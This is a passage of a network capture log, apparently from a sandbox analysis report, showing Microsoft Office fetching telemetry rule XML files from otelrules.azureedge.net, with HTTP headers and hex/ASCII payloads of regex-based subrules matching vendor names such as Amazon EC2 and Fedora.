2024-11-26 12:43:44 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.7	49773	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:44 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:44 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:44 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: fac497c4-501e-008f-4391-3f9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124344Z-174f7845968n2hr8hC1EWR9cag0000000uz000000000c6zw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:44 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.7	49778	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:46 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:46 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:46 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: e52ede4a-001e-0017-0591-3f0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124346Z-174f7845968px8v7hC1EWR08ng0000000vq00000000082vh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:46 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.7	49777	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:46 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:46 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:46 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 1fa1b817-401e-0067-5691-3f09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124346Z-174f7845968xr5c2hC1EWRd0hn0000000cag000000005pyz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:46 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.7	49780	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:46 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:46 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:46 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 6760f0bc-801e-002a-1f91-3f31dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124346Z-174f7845968nxc96hC1EWRspw80000000v5g000000007my5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:46 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.7	49779	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:46 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:46 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:46 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: be7987d0-001e-0034-1e91-3fdd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124346Z-174f7845968v75bwhC1EWRuqen0000000gc0000000007tct x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:46 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.7	49781	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:46 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:49 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:49 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 8dfbf447-101e-0028-0f8e-3f8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124349Z-174f7845968g6hv8hC1EWR1v2n00000003dg000000004k9g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:49 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.7	49784	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:48 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:48 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:48 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: cb9203b6-501e-0029-2691-3fd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124348Z-174f78459684bddphC1EWRbht40000000v4g00000000a22y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:48 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.7	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:48 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:48 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:48 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: fac49ef3-501e-008f-0a91-3f9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124348Z-174f7845968cdxdrhC1EWRg0en0000000vgg0000000001ky x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:48 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.7	49786	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:48 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:49 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:48 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: e14f358b-d01e-007a-5d7e-3ff38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124348Z-174f7845968frfdmhC1EWRxxbw0000000vkg000000002hsb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:49 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.7	49787	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:48 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:49 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:49 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 5cf18591-601e-000d-7e91-3f2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124349Z-174f7845968psccphC1EWRuz9s0000000vp0000000008pkz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:49 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.7	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:50 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:43:50 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:43:50 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 3fc8ca9f-401e-0083-6c91-3f075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124350Z-174f7845968psccphC1EWRuz9s0000000vtg0000000018rq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:43:50 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.7	49789	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:43:50 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
